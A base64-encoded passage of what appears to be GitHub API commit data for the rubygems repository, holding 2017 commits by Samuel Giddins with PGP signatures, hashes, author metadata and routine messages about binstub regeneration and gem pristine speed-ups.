Y0tvWkRhOTZOQUxyekN0M0JXSTRzaFExK0kyY1BaZmVtXG50anJiQVBaZ2w1NnBDK1ZKcVZ0SVdCTmREZ3dGZkthdzB6c2NtY21JNWlLMkhOekJ1cmIrRGZiQmlWVnpLQU4rXG5NNzc5Nzd4Wnp2blFZbU1pQ1ZnV1JuRi9zdytUZDFnSVczbGZ1cnNoQTJ2YldwRVBiVC9GLzViNHhyODdWZEZUXG5zblloY2pmUWdmZFcxdFZBZkNCUUpWOHFmTzJpckp6ME9VZHJUNWxvOENqUTJsaExCa05qSmp3VjljbzQyeDB1XG5QR2VMVEVWYTdvNHNFZEU0MVBTZ1F2UzBCOS9OT21mMFMwVVFtb1lIMllLVS9CZEhEUlhrUjVjK1ZpSE5JSnErXG5DbFR4NmpORlFabld3YVNybW9kV1xuPTRNeWxcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDAzY2E0MGFhZjM4OWY1MGIwZmE1MWZmOWI4NWU5MWZiODA0ZWJiN2JcbnBhcmVudCBlNDU2MGUxNTAzMGFmNDkyMWEwY2RkN2I2YjVhNTMxMzA3ZDY4MWYzXG5hdXRob3IgU2FtdWVsIEdpZGRpbnMgPHNlZ2lkZGluc0BzZWdpZGRpbnMubWU+IDE1MDQwMTQxMjkgLTA1MDBcbmNvbW1pdHRlciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwNDAyNDIzOCAtMDUwMFxuXG5TcGVlZCB1cCBgZ2VtIHByaXN0aW5lIOKAlGFsbCDigJRvbmx5LWV4ZWN1dGFibGVzYCBieSBhbiBvcmRlciBvZiBtYWduaXR1ZGVcblxuU2luY2Ugd2Ugb25seSBuZWVkIHRoZSBzcGVjIHRvIGdlbmVyYXRlIGJpbnN0dWJzLCB3ZSBjYW4gc2FmZWx5IHVzZSBhIGZha2UgcGFja2FnZSB0aGF0IGRvZXNu4oCZdCByZWFkIHRoZSBjYWNoZWQgLmdlbVxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvMWE4MjZhNzY4NGJiYTRmMTA4ZGIyNWU4ZjE3ZDU3MWEyMjgxNmZkNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC8xYTgyNmE3Njg0YmJhNGYxMDhkYjI1ZThmMTdkNTcxYTIyODE2ZmQ3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzFhODI2YTc2ODRiYmE0ZjEwOGRiMjVlOGYxN2Q1NzFhMjI4MTZmZDcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImU0NTYwZTE1MDMwYWY0OTIxYTBjZGQ3YjZiNWE1MzEzMDdkNjgxZjMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZTQ1NjBlMTUwMzBhZjQ5MjFhMGNkZDdiNmI1YTUzMTMwN2Q2ODFmMyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9lNDU2MGUxNTAzMGFmNDkyMWEwY2RkN2I2YjVhNTMxMzA3ZDY4MWYzIn1dfSx7InNoYSI6ImU0NTYwZTE1MDMwYWY0OTIxYTBjZGQ3YjZiNWE1MzEzMDdkNjgxZjMiLCJjb21taXQiOnsiYXV0aG9yIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI5VDEzOjQxOjExWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlNhbXVlbCBHaWRkaW5zIiwiZW1haWwiOiJzZWdpZGRpbnNAc2VnaWRkaW5zLm1lIiwiZGF0ZSI6IjIwMTctMDgtMjlUMTY6MzA6MzhaIn0sIm1lc3NhZ2UiOiJSZWdlbmVyYXRlIGJpbnN0dWJzIG9uIHNldHVwIHNpbGVudGx5IiwidHJlZSI6eyJzaGEiOiI4YmRjYTBiNWI2NDFmOTA2Mzc2OWJhNWUyYjc3MTI1ZDhhNjBmNTA1IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvOGJkY2EwYjViNjQxZjkwNjM3NjliYTVlMmI3NzEyNWQ4YTYwZjUwNSJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2U0NTYwZTE1MDMwYWY0OTIxYTBjZGQ3YjZiNWE1MzEzMDdkNjgxZjMiLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpwWmF1QUFvSkVBRVpXN01WM2FoVy9wSVAvajdablZGTzdWTmFlQ2JsQy8yQ0hZZ2pcblYwN0lPcHE0L3V5dnkyWHVlZUZsNnBpQnRPTk9FbjVWM3JhOFBmclEwMHE1a1hSMnhicW1aWE1wU0VHUXR4TU1cbmZ6Qm5mNWVmeDB3ZEc1M2diNW11TWRXYXpGY0l2QXlkand2S2U5K2wvck1NN3N1akpoeWpVVHpPaHNmZFQxS0dcbklDZDhrbXpISVlCd09jOHJKWDJzVFFTWVhkVDBXVlZEYm01NTVXRXJwYkRudXNFeFN1NFRaUHV5M2dTbitEdTlcbnZRSldybW5VeFRyd3l3cWkzbktzeUxLM214OEljcE0wNVhMUUVWVUZLdG5JZUo2U0NkUkwrM2VJMGl2WE1xWExcbmhQT2txbDhsUFZqSmVJUGlPTFlma1hkMWROdFpyQWQ1ZXJTby9YUWZOU0pEeUlsUGFhR05qa3hSOW9MMDhHY0xcbnc1YWtnbGV0NTEvR2txOFJ4TTh5MUcvcnNMZzFURnF3WXZjcUZiWXNWMDdxMkIzdmRBc25HRFVENzBlWTRqbmRcbnNDOEo5QzVCNTJ2RnF5bkZEVHpnYU03Q3k0ckswNWU2cDZlMzNBM1Y1WDZsaFQxV0RxcFQ2QmtIaVdIcisvV0FcbmNUTmZRRTFjMWpaTWx3RDdUZ2JOTko0MkpFemQxRTFQVUxBTGpFeDg1cHdOTnhucW9nNGdMLzRPYXlFR0JDaTBcbkd0ZmRpbE9TVUhLNFFPdW1FUTgzVVJ5b0paekhYcEJPbnVVU0UyVVJoWktUZmRpOUU0eXdjN3FkVGdjNmJ2M3FcbmV4UlBkbXQzd244TzMxelhvWlNFMHFwSTVZZHVRZzJjSHVwSERsK05JcW11aWpwQ0F2ZkZnZTZOb2txMTRXdUxcbkJzUEpLZTBDZXVIQThCNCtNc1hVXG49aW9JalxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgOGJkY2EwYjViNjQxZjkwNjM3NjliYTVlMmI3NzEyNWQ4YTYwZjUwNVxucGFyZW50IGM1NzY4YThmNzczYWU2NGNmMTMxNTU0YTEwODc5ZjI1YjNkNTgxMjdcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwNDAxNDA3MSAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTA0MDI0MjM4IC0wNTAwXG5cblJlZ2VuZXJhdGUgYmluc3R1YnMgb24gc2V0dXAgc2lsZW50bHlcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2U0NTYwZTE1MDMwYWY0OTIxYTBjZGQ3YjZiNWE1MzEzMDdkNjgxZjMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvZTQ1NjBlMTUwMzBhZjQ5MjFhMGNkZDdiNmI1YTUzMTMwN2Q2ODFmMyIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9lNDU2MGUxNTAzMGFmNDkyMWEwY2RkN2I2YjVhNTMxMzA3ZDY4MWYzL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6InNlZ2lkZGlucyIsImlkIjoxOTQ2NjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8xOTQ2NjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zZWdpZGRpbnMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwYXJlbnRzIjpbeyJzaGEiOiJjNTc2OGE4Zjc3M2FlNjRjZjEzMTU1NGExMDg3OWYyNWIzZDU4MTI3IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2M1NzY4YThmNzczYWU2NGNmMTMxNTU0YTEwODc5ZjI1YjNkNTgxMjciLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYzU3NjhhOGY3NzNhZTY0Y2YxMzE1NTRhMTA4NzlmMjViM2Q1ODEyNyJ9XX0seyJzaGEiOiJjNTc2OGE4Zjc3M2FlNjRjZjEzMTU1NGExMDg3OWYyNWIzZDU4MTI3IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiU2FtdWVsIEdpZGRpbnMiLCJlbWFpbCI6InNlZ2lkZGluc0BzZWdpZGRpbnMubWUiLCJkYXRlIjoiMjAxNy0wOC0yOVQxMzo0MDo0MVoifSwiY29tbWl0dGVyIjp7Im5hbWUiOiJTYW11ZWwgR2lkZGlucyIsImVtYWlsIjoic2VnaWRkaW5zQHNlZ2lkZGlucy5tZSIsImRhdGUiOiIyMDE3LTA4LTI5VDE2OjMwOjM3WiJ9LCJtZXNzYWdlIjoiTWFrZSB0aGUgd2FybmluZyBmb3IgYSBtaXNzaW5nIGV4ZWN1dGFibGUgc2xpZ2h0bHkgbW9yZSBoZWxwZnVsXG5cbk5vdyBpdCBzYXlzIHRoYXQgdGhlIGJpbiBwYXRoIGRvZXMgbm90IGV4aXN0IiwidHJlZSI6eyJzaGEiOiJkZTdhOGU2NDExNGIyNGU3N2U0NzdiZmZlYzAwMGExOTQwNTE4NWI2IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXMvZGU3YThlNjQxMTRiMjRlNzdlNDc3YmZmZWMwMDBhMTk0MDUxODViNiJ9LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzL2M1NzY4YThmNzczYWU2NGNmMTMxNTU0YTEwODc5ZjI1YjNkNTgxMjciLCJjb21tZW50X2NvdW50IjowLCJ2ZXJpZmljYXRpb24iOnsidmVyaWZpZWQiOnRydWUsInJlYXNvbiI6InZhbGlkIiwic2lnbmF0dXJlIjoiLS0tLS1CRUdJTiBQR1AgU0lHTkFUVVJFLS0tLS1cblZlcnNpb246IEdudVBHIHYxXG5cbmlRSWNCQUFCQWdBR0JRSlpwWmF0QUFvSkVBRVpXN01WM2FoV2poQVAvMEhKYjYyNS9NbGt4ZTEwMmxzZjBiRGFcbjJTYTVKc092aVV1bFBhdWcvckc4TjVJbWZJWjQxOUtYdHFCNFdFbGdVdk9PMXZYZEZJWiszaVdTdnl3dlNicWhcbndudThycUx6cGdzbHZ4RmpuSkNheko3WjF0dnNqaTl3SE9LclpOdEk2azUwVlNDbmhEcnVHd1lKR1lEZ2s2a1BcbmE3Q1FLVjZxcDBqckZNYURYL01mTkRtamM3djVJWW5rZ1dTaWM0UXJ3WW1UYXhZZE8vZnBMZzNJMWFrQ1RSRW9cbm16N3NXQlpkVi9HTnZwU25Xa0tGam1sRkZ3SEJWNGpTL1hqMVNlaDhQQkw5dnNhREFWckRMeDJCcE40R2p1Z2FcbnV6SG5BeHhYY2NNQmZjWXh0bVFlV1NQUExEOHJzUUdCQmQwUXZjbFV6Z1J4NEJVemI4aXB5cjZqZzBzOG82N1ZcbnNhMk5WSlhsV2QrNStnM1VNVGF1clJzNlVCZ2hYL1Mxb2RseVB2YUdwNlE3ZUgzL2tSemE1Tnk4RnRhWTNBK0NcbnZsdk1aVWkvbzJZMlJkdEx2RXpqNXpqamxvQ3l3K0dYUHdIbldVUysvSmRoWXV5RXpMK2RCWjdJMlVRaUZMWEtcblpBK1J3Y0crNUFESTlnNDF0Y21jVHM5TW44YVVHRDJSL2JnOGMvRWVOTWRBNGpXTnR3ZjZUWGlnUjFPUUxEMUxcbjU4MVpXR0N3Ty9Xc3JKZWd5NllydWFmbjE0RUMyQmRKaHpIcUJKNlc5YkRuSVVhTkNGcDVmQUp0Z041bGQrWnFcbjFYOGg2bUFaTHpPR0xjamNCS3h6amtMVXl6RVFoV1AyTUxoWFN1SHNaODR2VlJsbjNJZDFUVzJxSUc0Y2VVR3BcbnI5eUQ1cWFhYk1ZU2VCQkZuL3NVXG49QXErTFxuLS0tLS1FTkQgUEdQIFNJR05BVFVSRS0tLS0tIiwicGF5bG9hZCI6InRyZWUgZGU3YThlNjQxMTRiMjRlNzdlNDc3YmZmZWMwMDBhMTk0MDUxODViNlxucGFyZW50IGQ1YjI3NzlkZWQ4OTYwN2U2ZTFjOGUxYTA1MGFhMDczY2RlMWU3ZmNcbmF1dGhvciBTYW11ZWwgR2lkZGlucyA8c2VnaWRkaW5zQHNlZ2lkZGlucy5tZT4gMTUwNDAxNDA0MSAtMDUwMFxuY29tbWl0dGVyIFNhbXVlbCBHaWRkaW5zIDxzZWdpZGRpbnNAc2VnaWRkaW5zLm1lPiAxNTA0MDI0MjM3IC0wNTAwXG5cbk1ha2UgdGhlIHdhcm5pbmcgZm9yIGEgbWlzc2luZyBleGVjdXRhYmxlIHNsaWdodGx5IG1vcmUgaGVscGZ1bFxuXG5Ob3cgaXQgc2F5cyB0aGF0IHRoZSBiaW4gcGF0aCBkb2VzIG5vdCBleGlzdFxuIn19LCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvYzU3NjhhOGY3NzNhZTY0Y2YxMzE1NTRhMTA4NzlmMjViM2Q1ODEyNyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9jNTc2OGE4Zjc3M2FlNjRjZjEzMTU1NGExMDg3OWYyNWIzZDU4MTI3IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2M1NzY4YThmNzczYWU2NGNmMTMxNTU0YTEwODc5ZjI1YjNkNTgxMjcvY29tbWVudHMiLCJhdXRob3IiOnsibG9naW4iOiJzZWdpZGRpbnMiLCJpZCI6MTk0NjYxMCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTk0NjYxMD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vc2VnaWRkaW5zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoic2VnaWRkaW5zIiwiaWQiOjE5NDY2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzE5NDY2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3NlZ2lkZGlucyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NlZ2lkZGlucy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2VnaWRkaW5zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zZWdpZGRpbnMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6ImQ1YjI3NzlkZWQ4OTYwN2U2ZTFjOGUxYTA1MGFhMDczY2RlMWU3ZmMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZDViMjc3OWRlZDg5NjA3ZTZlMWM4ZTFhMDUwYWEwNzNjZGUxZTdmYyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC9